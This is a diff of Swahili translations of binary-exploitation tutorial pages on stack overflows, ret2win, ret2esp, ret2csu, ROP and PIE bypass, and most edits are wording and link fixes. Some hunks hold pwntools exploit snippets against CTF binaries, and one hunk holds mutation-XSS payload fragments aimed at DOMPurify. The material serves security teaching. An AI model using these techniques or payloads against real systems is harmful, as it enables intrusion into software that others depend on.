<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
 | 
			
		||||
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
 | 
			
		||||
@ -61,7 +61,7 @@ Mifano ya payloads:
 | 
			
		||||
<div
 | 
			
		||||
id="1
 | 
			
		||||
 | 
			
		||||
//)">
 | 
			
		||||
//index.html)">
 | 
			
		||||
-----------------------------------------------
 | 
			
		||||
<a
 | 
			
		||||
title="a
 | 
			
		||||
 | 
			
		||||
@ -9,7 +9,7 @@
 | 
			
		||||
## Bypasses
 | 
			
		||||
 | 
			
		||||
- Inawezekana kutumia mbinu kama [**ROP**](../stack-overflow/rop-return-oriented-programing.md) ili kupita ulinzi huu kwa kutekeleza vipande vya msimbo wa executable ambavyo tayari vipo kwenye binary.
 | 
			
		||||
- [**Ret2libc**](../stack-overflow/ret2lib/)
 | 
			
		||||
- [**Ret2libc**](../stack-overflow/ret2lib/index.html)
 | 
			
		||||
- [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
 | 
			
		||||
- **Ret2...**
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -6,9 +6,9 @@
 | 
			
		||||
 | 
			
		||||
Binary iliyotengenezwa kama PIE, au **Position Independent Executable**, inamaanisha **programu inaweza kupakiwa katika maeneo tofauti ya kumbukumbu** kila wakati inatekelezwa, ikizuia anwani zilizowekwa kwa nguvu.
 | 
			
		||||
 | 
			
		||||
Njia ya kutumia hizi binaries inategemea kutumia **anwani za uhusiano**—mipaka kati ya sehemu za programu inabaki sawa hata kama maeneo halisi yanabadilika. Ili **kupita PIE, unahitaji tu kuvuja anwani moja**, kawaida kutoka **stack** kwa kutumia udhaifu kama mashambulizi ya format string. Mara tu unapo kuwa na anwani, unaweza kuhesabu nyingine kwa **mipaka yao iliyowekwa**.
 | 
			
		||||
Njia ya kutumia hizi binaries inategemea kutumia **anwani za uhusiano**—mipaka kati ya sehemu za programu inabaki sawa hata kama maeneo halisi yanabadilika. Ili **kupita PIE, unahitaji tu kuvuja anwani moja**, kawaida kutoka kwa **stack** kwa kutumia udhaifu kama mashambulizi ya format string. Mara unapokuwa na anwani, unaweza kuhesabu zingine kwa **mipaka yao iliyowekwa**.
 | 
			
		||||
 | 
			
		||||
Kidokezo muhimu katika kutumia binaries za PIE ni kwamba **anwani yao ya msingi kawaida huishia na 000** kutokana na kurasa za kumbukumbu kuwa vitengo vya randomization, vilivyopimwa kwa 0x1000 bytes. Ulinganifu huu unaweza kuwa **ukaguzi muhimu ikiwa exploit haifanyi kazi** kama inavyotarajiwa, ikionyesha ikiwa anwani sahihi ya msingi imebainishwa.\
 | 
			
		||||
Kidokezo muhimu katika kutumia binaries za PIE ni kwamba **anwani yao ya msingi kawaida inaishia na 000** kutokana na kurasa za kumbukumbu kuwa vitengo vya randomization, vilivyopimwa kwa 0x1000 bytes. Ulinganifu huu unaweza kuwa **ukaguzi muhimu ikiwa exploit haifanyi kazi** kama inavyotarajiwa, ikionyesha ikiwa anwani sahihi ya msingi imebainishwa.\
 | 
			
		||||
Au unaweza kutumia hii kwa exploit yako, ikiwa unavuja kwamba anwani iko katika **`0x649e1024`** unajua kwamba **anwani ya msingi ni `0x649e1000`** na kutoka hapo unaweza tu **kuhesabu mipaka** ya kazi na maeneo.
 | 
			
		||||
 | 
			
		||||
## Bypasses
 | 
			
		||||
@ -23,7 +23,7 @@ Ili kupita PIE inahitajika **kuvuja anwani fulani ya binary iliyopakiwa**, kuna
 | 
			
		||||
bypassing-canary-and-pie.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
- Tumia udhaifu wa kusoma bila mpangilio kama [**format string**](../../format-strings/) kuvuja anwani ya binary (kwa mfano kutoka stack, kama katika mbinu ya awali) ili kupata msingi wa binary na kutumia mipaka kutoka hapo. [**Pata mfano hapa**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
 | 
			
		||||
- Tumia udhaifu wa kusoma bila mpangilio kama [**format string**](../../format-strings/index.html) kuvuja anwani ya binary (mfano kutoka kwa stack, kama katika mbinu ya awali) ili kupata msingi wa binary na kutumia mipaka kutoka hapo. [**Pata mfano hapa**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
 | 
			
		||||
 | 
			
		||||
## References
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -9,7 +9,7 @@ A **stack overflow** ni udhaifu unaotokea wakati programu inapoandika data zaidi
 | 
			
		||||
Tatizo kuu la kuandika tena ni kwamba **pointer ya maagizo iliyohifadhiwa (EIP/RIP)** na **pointer ya msingi iliyohifadhiwa (EBP/RBP)** za kurudi kwenye kazi ya awali zime **hifadhiwa kwenye stack**. Hivyo, mshambuliaji ataweza kuandika tena hizo na **kudhibiti mtiririko wa utekelezaji wa programu**.
 | 
			
		||||
 | 
			
		||||
Udhaifu huu kawaida hutokea kwa sababu kazi **inakopi ndani ya stack bytes zaidi kuliko kiasi kilichotengwa kwa ajili yake**, hivyo kuwa na uwezo wa kuandika tena sehemu nyingine za stack.\
 | 
			
		||||
Baadhi ya kazi za kawaida zinazoweza kuwa na udhaifu huu ni: `strcpy`, `strcat`, `sprintf`, `gets`... Pia, kazi kama `fgets` au `read`, ambazo zinachukua hoja ya urefu, zinaweza kutumika kwa njia inayoweza kuwa na udhaifu ikiwa urefu ulioelezwa ni mkubwa kuliko ule uliotengwa.
 | 
			
		||||
Baadhi ya kazi za kawaida zinazoweza kuwa na udhaifu huu ni: `strcpy`, `strcat`, `sprintf`, `gets`... Pia, kazi kama `fgets` au `read`, ambazo zinachukua hoja ya urefu, zinaweza kutumika kwa njia hatarishi ikiwa urefu ulioelezwa ni mkubwa kuliko ule uliotengwa.
 | 
			
		||||
 | 
			
		||||
Kwa mfano, kazi zifuatazo zinaweza kuwa na udhaifu:
 | 
			
		||||
```c
 | 
			
		||||
@ -50,13 +50,13 @@ pattern search $rsp #Search the offset given the content of $rsp
 | 
			
		||||
## Kutumia Stack Overflows
 | 
			
		||||
 | 
			
		||||
Wakati wa overflow (ikiwa saizi ya overflow ni kubwa vya kutosha) utaweza kubadilisha thamani za mabadiliko ya ndani ya stack hadi kufikia EBP/RBP na EIP/RIP zilizohifadhiwa (au hata zaidi).\
 | 
			
		||||
Njia ya kawaida zaidi ya kutumia aina hii ya udhaifu ni kwa **kubadilisha anwani ya kurudi** ili wakati kazi inamalizika **mchakato wa udhibiti utaelekezwa popote mtumiaji alivyobaini** katika kiashiria hiki.
 | 
			
		||||
Njia ya kawaida zaidi ya kutumia aina hii ya udhaifu ni kwa **kubadilisha anwani ya kurudi** ili wakati kazi inamalizika **mchakato wa udhibiti utaelekezwa popote mtumiaji alivyobainisha** katika kiashiria hiki.
 | 
			
		||||
 | 
			
		||||
Hata hivyo, katika hali nyingine labda tu **kubadilisha baadhi ya thamani za mabadiliko katika stack** inaweza kuwa ya kutosha kwa matumizi (kama katika changamoto rahisi za CTF).
 | 
			
		||||
Hata hivyo, katika hali nyingine labda tu **kubadilisha baadhi ya thamani za mabadiliko katika stack** inaweza kuwa ya kutosha kwa ajili ya matumizi (kama katika changamoto rahisi za CTF).
 | 
			
		||||
 | 
			
		||||
### Ret2win
 | 
			
		||||
 | 
			
		||||
Katika aina hii ya changamoto za CTF, kuna **kazi** **ndani** ya binary ambayo **haitaitwa kamwe** na ambayo **unahitaji kuitwa ili kushinda**. Kwa ajili ya changamoto hizi unahitaji tu kupata **offset ya kubadilisha anwani ya kurudi** na **kupata anwani ya kazi** ya kuitwa (kawaida [**ASLR**](../common-binary-protections-and-bypasses/aslr/) itakuwa imezimwa) ili wakati kazi iliyo hatarini inarudi, kazi iliyofichwa itaitwa:
 | 
			
		||||
Katika aina hii ya changamoto za CTF, kuna **kazi** **ndani** ya binary ambayo **haitaitwa kamwe** na ambayo **unahitaji kuitwa ili kushinda**. Kwa ajili ya changamoto hizi unahitaji tu kupata **offset ya kubadilisha anwani ya kurudi** na **kupata anwani ya kazi** ya kuita (kawaida [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) itakuwa imezimwa) ili wakati kazi iliyo hatarini inarudi, kazi iliyofichwa itaitwa:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
ret2win.md
 | 
			
		||||
@ -64,7 +64,7 @@ ret2win.md
 | 
			
		||||
 | 
			
		||||
### Stack Shellcode
 | 
			
		||||
 | 
			
		||||
Katika hali hii mshambuliaji anaweza kuweka shellcode katika stack na kutumia EIP/RIP iliyo na udhibiti kuruka kwenye shellcode na kutekeleza msimbo wa kiholela:
 | 
			
		||||
Katika hali hii mshambuliaji anaweza kuweka shellcode katika stack na kutumia EIP/RIP iliyo na udhibiti kuruka kwenye shellcode na kutekeleza msimbo wowote:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
stack-shellcode.md
 | 
			
		||||
@ -72,7 +72,7 @@ stack-shellcode.md
 | 
			
		||||
 | 
			
		||||
## ROP
 | 
			
		||||
 | 
			
		||||
Teknolojia hii ni mfumo wa msingi wa kupita ulinzi mkuu wa teknolojia iliyopita: **Stack isiyoweza kutekelezwa** (NX). Na inaruhusu kutekeleza mbinu kadhaa nyingine (ret2lib, ret2syscall...) ambazo zitamaliza kwa kutekeleza amri za kiholela kwa kutumia maagizo yaliyopo katika binary:
 | 
			
		||||
Teknolojia hii ni mfumo wa msingi wa kupita ulinzi mkuu wa teknolojia iliyopita: **Stack isiyoweza kutekelezwa** (NX). Na inaruhusu kutekeleza mbinu kadhaa nyingine (ret2lib, ret2syscall...) ambazo zitamaliza kwa kutekeleza amri za kawaida kwa kutumia maagizo yaliyopo katika binary:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
rop-return-oriented-programing.md
 | 
			
		||||
 | 
			
		||||
@ -6,11 +6,11 @@
 | 
			
		||||
 | 
			
		||||
**ret2csu** ni mbinu ya udukuzi inayotumika unapojaribu kuchukua udhibiti wa programu lakini huwezi kupata **gadgets** unazotumia kawaida kubadilisha tabia ya programu. 
 | 
			
		||||
 | 
			
		||||
Wakati programu inatumia maktaba fulani (kama libc), ina baadhi ya kazi zilizojengwa ndani za kusimamia jinsi vipande tofauti vya programu vinavyoongea kati yao. Kati ya kazi hizi kuna vito vya siri vinavyoweza kutenda kama gadgets zetu zilizokosekana, hasa moja inayoitwa `__libc_csu_init`.
 | 
			
		||||
Wakati programu inatumia maktaba fulani (kama libc), ina baadhi ya kazi zilizojengwa ndani kwa ajili ya kusimamia jinsi vipande tofauti vya programu vinavyoongea kati yao. Kati ya kazi hizi kuna baadhi ya vito vilivyofichwa ambavyo vinaweza kutenda kama gadgets zetu zilizokosekana, hasa moja inayoitwa `__libc_csu_init`.
 | 
			
		||||
 | 
			
		||||
### The Magic Gadgets in \_\_libc_csu_init
 | 
			
		||||
 | 
			
		||||
Katika `__libc_csu_init`, kuna mfuatano miwili ya maagizo (gadget zetu "za kichawi") zinazojitokeza:
 | 
			
		||||
Katika `__libc_csu_init`, kuna mfuatano mbili za maagizo (gadget zetu "za kichawi") ambazo zinajitokeza:
 | 
			
		||||
 | 
			
		||||
1. Mfuatano wa kwanza unaturuhusu kuweka thamani katika register kadhaa (rbx, rbp, r12, r13, r14, r15). Hizi ni kama nafasi ambapo tunaweza kuhifadhi nambari au anwani tunazotaka kutumia baadaye.
 | 
			
		||||
```armasm
 | 
			
		||||
@ -22,11 +22,11 @@ pop r14;
 | 
			
		||||
pop r15;
 | 
			
		||||
ret;
 | 
			
		||||
```
 | 
			
		||||
Hii kifaa kinatupa uwezo wa kudhibiti hizi register kwa kupiga thamani kutoka kwenye stack ndani yao.
 | 
			
		||||
Hii kifaa kinatupa uwezo wa kudhibiti hizi register kwa kutolewa kwa thamani kutoka kwenye stack.
 | 
			
		||||
 | 
			
		||||
2. Mfululizo wa pili unatumia thamani tulizoweka kufanya mambo kadhaa:
 | 
			
		||||
- **Hamisha thamani maalum ndani ya register nyingine**, na kuziandaa kwa matumizi yetu kama vigezo katika kazi.
 | 
			
		||||
- **Fanya wito kwa eneo** lililopangwa kwa kuongeza thamani katika r15 na rbx, kisha kuzidisha rbx kwa 8.
 | 
			
		||||
- **Hamisha thamani maalum kwenye register nyingine**, na kuziandaa kwa matumizi yetu kama vigezo katika kazi.
 | 
			
		||||
- **Fanya wito kwa eneo** lililopangwa kwa kujumlisha thamani katika r15 na rbx, kisha kuzidisha rbx kwa 8.
 | 
			
		||||
```
 | 
			
		||||
mov rdx, r14;
 | 
			
		||||
mov rsi, r13;
 | 
			
		||||
@ -35,7 +35,7 @@ call qword [r15 + rbx*8];
 | 
			
		||||
```
 | 
			
		||||
## Mfano
 | 
			
		||||
 | 
			
		||||
Fikiria unataka kufanya syscall au kuita kazi kama `write()` lakini unahitaji thamani maalum katika register za `rdx` na `rsi` kama vigezo. Kawaida, ungeangalia gadgets ambazo zinaweka register hizi moja kwa moja, lakini huwezi kupata yoyote.
 | 
			
		||||
Fikiria unataka kufanya syscall au kuita kazi kama `write()` lakini unahitaji thamani maalum katika register `rdx` na `rsi` kama vigezo. Kawaida, ungeangalia gadgets ambazo zinaweka register hizi moja kwa moja, lakini huwezi kupata yoyote.
 | 
			
		||||
 | 
			
		||||
Hapa ndipo **ret2csu** inapoingia:
 | 
			
		||||
 | 
			
		||||
@ -67,10 +67,10 @@ p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
 | 
			
		||||
print(p.recvline())                        # should receive "Awesome work!"
 | 
			
		||||
```
 | 
			
		||||
> [!WARNING]
 | 
			
		||||
> Kumbuka kwamba exploit ya awali haikusudiwi kufanya **`RCE`**, inakusudia tu kuita kazi inayoitwa `win` (ikichukua anwani ya `win` kutoka stdin inayoita gets katika mnyororo wa ROP na kuihifadhi katika r15) na hoja ya tatu yenye thamani `0xdeadbeefcafed00d`.
 | 
			
		||||
> Kumbuka kwamba exploit ya awali haikusudiwi kufanya **`RCE`**, inakusudia tu kuita kazi inayoitwa `win` (ikichukua anwani ya `win` kutoka stdin inayoita gets katika mchain ya ROP na kuihifadhi katika r15) na hoja ya tatu yenye thamani `0xdeadbeefcafed00d`.
 | 
			
		||||
 | 
			
		||||
### Kwa Nini Usitumie libc Moja kwa Moja?
 | 
			
		||||
 | 
			
		||||
Kawaida kesi hizi pia zina udhaifu kwa [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), lakini wakati mwingine unahitaji kudhibiti vigezo zaidi kuliko vile vinavyoweza kudhibitiwa kwa urahisi na gadgets unazozipata moja kwa moja katika libc. Kwa mfano, kazi ya `write()` inahitaji vigezo vitatu, na **kupata gadgets kuweka yote haya moja kwa moja huenda isiwezekane**.
 | 
			
		||||
Kawaida kesi hizi pia zina udhaifu kwa [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), lakini wakati mwingine unahitaji kudhibiti vigezo zaidi kuliko vile ambavyo vinaweza kudhibitiwa kwa urahisi na gadgets unazozipata moja kwa moja katika libc. Kwa mfano, kazi ya `write()` inahitaji vigezo vitatu, na **kupata gadgets kuweka yote haya moja kwa moja huenda isiwezekane**.
 | 
			
		||||
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -4,13 +4,13 @@
 | 
			
		||||
 | 
			
		||||
## **Ret2esp**
 | 
			
		||||
 | 
			
		||||
**Kwa sababu ESP (Stack Pointer) kila wakati inaelekeza kwenye kilele cha stack**, mbinu hii inahusisha kubadilisha EIP (Instruction Pointer) na anwani ya **`jmp esp`** au **`call esp`** instruction. Kwa kufanya hivyo, shellcode inawekwa moja kwa moja baada ya EIP iliyobadilishwa. Wakati instruction `ret` inatekelezwa, ESP inaelekeza kwenye anwani inayofuata, hasa mahali ambapo shellcode imehifadhiwa.
 | 
			
		||||
**Kwa sababu ESP (Stack Pointer) kila wakati inaelekeza kwenye kilele cha stack**, mbinu hii inahusisha kubadilisha EIP (Instruction Pointer) na anwani ya **`jmp esp`** au **`call esp`** maagizo. Kwa kufanya hivyo, shellcode inawekwa moja kwa moja baada ya EIP iliyobadilishwa. Wakati maagizo ya `ret` yanatekelezwa, ESP inaelekeza kwenye anwani inayofuata, hasa mahali ambapo shellcode imehifadhiwa.
 | 
			
		||||
 | 
			
		||||
Ikiwa **Address Space Layout Randomization (ASLR)** haijawashwa katika Windows au Linux, inawezekana kutumia `jmp esp` au `call esp` instructions zinazopatikana katika maktaba za pamoja. Hata hivyo, ikiwa [**ASLR**](../common-binary-protections-and-bypasses/aslr/) inafanya kazi, mtu anaweza kuhitaji kutafuta ndani ya programu iliyo hatarini kwa ajili ya hizi instructions (na unaweza kuhitaji kushinda [**PIE**](../common-binary-protections-and-bypasses/pie/)).
 | 
			
		||||
Ikiwa **Address Space Layout Randomization (ASLR)** haijawashwa katika Windows au Linux, inawezekana kutumia maagizo ya `jmp esp` au `call esp` yanayopatikana katika maktaba za pamoja. Hata hivyo, ikiwa [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) inafanya kazi, mtu anaweza kuhitaji kutafuta ndani ya programu iliyo hatarini kwa maagizo haya (na unaweza kuhitaji kushinda [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)).
 | 
			
		||||
 | 
			
		||||
Zaidi ya hayo, kuwa na uwezo wa kuweka shellcode **baada ya uharibifu wa EIP**, badala ya katikati ya stack, inahakikisha kwamba maelekezo yoyote ya `push` au `pop` yanayotekelezwa wakati wa operesheni ya kazi hayakabili shellcode. Kuingilia kati hii inaweza kutokea ikiwa shellcode ingewekwa katikati ya stack ya kazi.
 | 
			
		||||
Zaidi ya hayo, kuwa na uwezo wa kuweka shellcode **baada ya uharibifu wa EIP**, badala ya katikati ya stack, inahakikisha kwamba maagizo yoyote ya `push` au `pop` yanayotekelezwa wakati wa operesheni ya kazi hayatatiza shellcode. Uingiliaji huu unaweza kutokea ikiwa shellcode ingewekwa katikati ya stack ya kazi.
 | 
			
		||||
 | 
			
		||||
### Kukosa nafasi
 | 
			
		||||
### Lacking space
 | 
			
		||||
 | 
			
		||||
Ikiwa unakosa nafasi ya kuandika baada ya kubadilisha RIP (labda ni byte chache tu), andika shellcode ya awali ya `jmp` kama:
 | 
			
		||||
```armasm
 | 
			
		||||
@ -43,7 +43,7 @@ p.interactive()
 | 
			
		||||
```
 | 
			
		||||
## Ret2reg
 | 
			
		||||
 | 
			
		||||
Vivyo hivyo, ikiwa tunajua kazi inarudisha anwani ambapo shellcode imehifadhiwa, tunaweza kutumia maagizo ya **`call eax`** au **`jmp eax`** (yanayojulikana kama mbinu ya **ret2eax**), kutoa njia nyingine ya kutekeleza shellcode yetu. Kama vile eax, **usajili mwingine wowote** unaoshikilia anwani ya kuvutia unaweza kutumika (**ret2reg**).
 | 
			
		||||
Vivyo hivyo, ikiwa tunajua kazi inarudisha anwani ambapo shellcode imehifadhiwa, tunaweza kutumia **`call eax`** au **`jmp eax`** maagizo (yanayojulikana kama mbinu **ret2eax**), kutoa njia nyingine ya kutekeleza shellcode yetu. Kama vile eax, **usajili mwingine wowote** unaoshikilia anwani ya kuvutia unaweza kutumika (**ret2reg**).
 | 
			
		||||
 | 
			
		||||
### Mfano
 | 
			
		||||
 | 
			
		||||
@ -52,7 +52,7 @@ Unaweza kupata mfano hapa: [https://ir0nstone.gitbook.io/notes/types/stack/relia
 | 
			
		||||
## Ulinzi
 | 
			
		||||
 | 
			
		||||
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Ikiwa stack haiwezi kutekelezwa hii haitasaidia kwani tunahitaji kuweka shellcode kwenye stack na kuruka ili kuitekeleza.
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Hizi zinaweza kufanya iwe vigumu kupata maagizo ya kuruka kwa esp au usajili mwingine wowote.
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Hizi zinaweza kufanya iwe vigumu kupata maagizo ya kuruka kwa esp au usajili mwingine wowote.
 | 
			
		||||
 | 
			
		||||
## Marejeleo
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -4,11 +4,11 @@
 | 
			
		||||
 | 
			
		||||
## Basic Information
 | 
			
		||||
 | 
			
		||||
**Ret2win** changamoto ni aina maarufu katika mashindano ya **Capture The Flag (CTF)**, hasa katika kazi zinazohusisha **binary exploitation**. Lengo ni kutumia udhaifu katika binary iliyotolewa ili kutekeleza kazi maalum, isiyokuwa na mwito ndani ya binary, mara nyingi inayoitwa kitu kama `win`, `flag`, n.k. Kazi hii, inapotekelezwa, kawaida huprinti bendera au ujumbe wa mafanikio. Changamoto hiyo kwa kawaida inahusisha kuandika upya **anwani ya kurudi** kwenye stack ili kuelekeza mtiririko wa utekelezaji kwenye kazi inayotakiwa. Hapa kuna maelezo ya kina zaidi na mifano:
 | 
			
		||||
**Ret2win** changamoto ni aina maarufu katika mashindano ya **Capture The Flag (CTF)**, hasa katika kazi zinazohusisha **binary exploitation**. Lengo ni kutumia udhaifu katika binary iliyotolewa ili kutekeleza kazi maalum, isiyoitwa ndani ya binary, mara nyingi ikijulikana kama `win`, `flag`, n.k. Kazi hii, inapotekelezwa, kawaida huprinti bendera au ujumbe wa mafanikio. Changamoto hiyo kwa kawaida inahusisha kuandika upya **anwani ya kurudi** kwenye stack ili kuelekeza mtiririko wa utekelezaji kwenye kazi inayotakiwa. Hapa kuna maelezo ya kina zaidi na mifano:
 | 
			
		||||
 | 
			
		||||
### C Example
 | 
			
		||||
 | 
			
		||||
Fikiria programu rahisi ya C yenye udhaifu na kazi ya `win` ambayo tunakusudia kuita:
 | 
			
		||||
Consider a simple C program with a vulnerability and a `win` function that we intend to call:
 | 
			
		||||
```c
 | 
			
		||||
#include <stdio.h>
 | 
			
		||||
#include <string.h>
 | 
			
		||||
@ -31,15 +31,15 @@ Ili kukusanya programu hii bila ulinzi wa stack na **ASLR** imezimwa, unaweza ku
 | 
			
		||||
```sh
 | 
			
		||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 | 
			
		||||
```
 | 
			
		||||
- `-m32`: Kamilisha programu kama binary ya 32-bit (hii ni hiari lakini ni ya kawaida katika changamoto za CTF).
 | 
			
		||||
- `-m32`: Tunga programu kama binary ya 32-bit (hii ni hiari lakini ni ya kawaida katika changamoto za CTF).
 | 
			
		||||
- `-fno-stack-protector`: Zima ulinzi dhidi ya stack overflows.
 | 
			
		||||
- `-z execstack`: Ruhusu utekelezaji wa msimbo kwenye stack.
 | 
			
		||||
- `-no-pie`: Zima Position Independent Executable ili kuhakikisha kwamba anwani ya kazi ya `win` haibadiliki.
 | 
			
		||||
- `-o vulnerable`: Patia faili ya matokeo jina `vulnerable`.
 | 
			
		||||
 | 
			
		||||
### Python Exploit kutumia Pwntools
 | 
			
		||||
### Python Exploit using Pwntools
 | 
			
		||||
 | 
			
		||||
Kwa exploit, tutatumia **pwntools**, mfumo wenye nguvu wa CTF wa kuandika exploits. Skripti ya exploit itaunda payload ili kujaa buffer na kuandika anwani ya kurudi na anwani ya kazi ya `win`.
 | 
			
		||||
Kwa exploit, tutatumia **pwntools**, mfumo wenye nguvu wa CTF wa kuandika exploits. Skripti ya exploit itaunda payload ili kujaa buffer na kuandika anwani ya kurudi kwa anwani ya kazi ya `win`.
 | 
			
		||||
```python
 | 
			
		||||
from pwn import *
 | 
			
		||||
 | 
			
		||||
@ -63,14 +63,14 @@ Ili kupata anwani ya kazi ya `win`, unaweza kutumia **gdb**, **objdump**, au cho
 | 
			
		||||
```sh
 | 
			
		||||
objdump -d vulnerable | grep win
 | 
			
		||||
```
 | 
			
		||||
Amri hii itakuonyesha mkusanyiko wa kazi ya `win`, ikiwa ni pamoja na anwani yake ya kuanzia. 
 | 
			
		||||
Hii amri itaonyesha mkusanyiko wa kazi ya `win`, ikiwa ni pamoja na anwani yake ya kuanzia. 
 | 
			
		||||
 | 
			
		||||
Script ya Python inatuma ujumbe ulioandaliwa kwa uangalifu ambao, unaposhughulikiwa na `vulnerable_function`, unavunja buffer na kuandika upya anwani ya kurudi kwenye stack kwa anwani ya `win`. Wakati `vulnerable_function` inarudi, badala ya kurudi kwa `main` au kutoka, inaruka hadi `win`, na ujumbe unachapishwa.
 | 
			
		||||
 | 
			
		||||
## Ulinzi
 | 
			
		||||
 | 
			
		||||
- [**PIE**](../common-binary-protections-and-bypasses/pie/) **inapaswa kuzuiliwa** ili anwani iwe ya kuaminika katika utekelezaji tofauti au anwani ambapo kazi itahifadhiwa haitakuwa kila wakati sawa na unahitaji uvujaji fulani ili kubaini wapi kazi ya win imepakiwa. Katika baadhi ya matukio, wakati kazi inayosababisha overflow ni `read` au sawa, unaweza kufanya **Partial Overwrite** ya byte 1 au 2 kubadilisha anwani ya kurudi kuwa kazi ya win. Kwa sababu ya jinsi ASLR inavyofanya kazi, nibble tatu za mwisho za hex hazijachanganywa, hivyo kuna **1/16 nafasi** (1 nibble) ya kupata anwani sahihi ya kurudi.
 | 
			
		||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) pia zinapaswa kuzuiliwa au anwani ya kurudi ya EIP iliyovunjika haitafuatiwa kamwe.
 | 
			
		||||
- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **inapaswa kuzuiliwa** ili anwani iwe ya kuaminika katika utekelezaji tofauti au anwani ambapo kazi itahifadhiwa haitakuwa kila wakati sawa na unahitaji uvujaji fulani ili kubaini wapi kazi ya win imepakiwa. Katika baadhi ya matukio, wakati kazi inayosababisha overflow ni `read` au sawa, unaweza kufanya **Partial Overwrite** ya byte 1 au 2 kubadilisha anwani ya kurudi kuwa kazi ya win. Kwa sababu ya jinsi ASLR inavyofanya kazi, nibble tatu za mwisho za hex hazijachanganywa, hivyo kuna **1/16 nafasi** (1 nibble) ya kupata anwani sahihi ya kurudi.
 | 
			
		||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) pia zinapaswa kuzuiliwa au anwani ya kurudi ya EIP iliyovunjika haitafuatiwa kamwe.
 | 
			
		||||
 | 
			
		||||
## Mifano Mingine & Marejeleo
 | 
			
		||||
 | 
			
		||||
@ -86,6 +86,6 @@ Script ya Python inatuma ujumbe ulioandaliwa kwa uangalifu ambao, unaposhughulik
 | 
			
		||||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
 | 
			
		||||
- 32 bit, relro, hakuna canary, nx, hakuna pie, format string kubadilisha anwani ya `fflush` na kazi ya win (ret2win)
 | 
			
		||||
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
 | 
			
		||||
- 64 bit, relro, hakuna canary, nx, pie. Partial overwrite ili kuita kazi ya win (ret2win)
 | 
			
		||||
- 64 bit, relro, hakuna canary, nx, pie. Partial overwrite kuita kazi ya win (ret2win)
 | 
			
		||||
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -4,7 +4,7 @@
 | 
			
		||||
 | 
			
		||||
## **Taarifa za Msingi**
 | 
			
		||||
 | 
			
		||||
**Return-Oriented Programming (ROP)** ni mbinu ya kisasa ya unyakuzi inayotumika kukwepa hatua za usalama kama **No-Execute (NX)** au **Data Execution Prevention (DEP)**. Badala ya kuingiza na kutekeleza shellcode, mshambuliaji anatumia vipande vya msimbo vilivyopo tayari katika binary au katika maktaba zilizopakiwa, vinavyojulikana kama **"gadgets"**. Kila gadget kwa kawaida huishia na amri ya `ret` na inatekeleza operesheni ndogo, kama vile kuhamasisha data kati ya register au kufanya operesheni za hesabu. Kwa kuunganisha gadgets hizi pamoja, mshambuliaji anaweza kujenga payload ili kufanya operesheni zisizo na mipaka, kwa ufanisi akikwepa ulinzi wa NX/DEP.
 | 
			
		||||
**Return-Oriented Programming (ROP)** ni mbinu ya juu ya unyakuzi inayotumika kukwepa hatua za usalama kama **No-Execute (NX)** au **Data Execution Prevention (DEP)**. Badala ya kuingiza na kutekeleza shellcode, mshambuliaji anatumia vipande vya msimbo vilivyopo tayari katika binary au katika maktaba zilizopakiwa, vinavyojulikana kama **"gadgets"**. Kila gadget kwa kawaida huishia na amri ya `ret` na inatekeleza operesheni ndogo, kama vile kuhamasisha data kati ya register au kufanya operesheni za hesabu. Kwa kuunganisha gadgets hizi pamoja, mshambuliaji anaweza kujenga payload ili kufanya operesheni zisizo na mipaka, kwa ufanisi akikwepa ulinzi wa NX/DEP.
 | 
			
		||||
 | 
			
		||||
### Jinsi ROP Inavyofanya Kazi
 | 
			
		||||
 | 
			
		||||
@ -28,7 +28,7 @@ Kwa kawaida, gadgets zinaweza kupatikana kwa kutumia **[ROPgadget](https://githu
 | 
			
		||||
Kwanza, hebu tuweke dhana kwamba tumegundua gadgets zinazohitajika ndani ya binary au maktaba zake zilizopakiwa. Gadgets tunazovutiwa nazo ni:
 | 
			
		||||
 | 
			
		||||
- `pop eax; ret`: Gadget hii inachukua thamani ya juu ya stack na kuhamasisha kwenye register ya `EAX` na kisha inarudi, ikitupa udhibiti wa `EAX`.
 | 
			
		||||
- `pop ebx; ret`: Inafanana na ile iliyotangulia, lakini kwa register ya `EBX`, ikiruhusu udhibiti wa `EBX`.
 | 
			
		||||
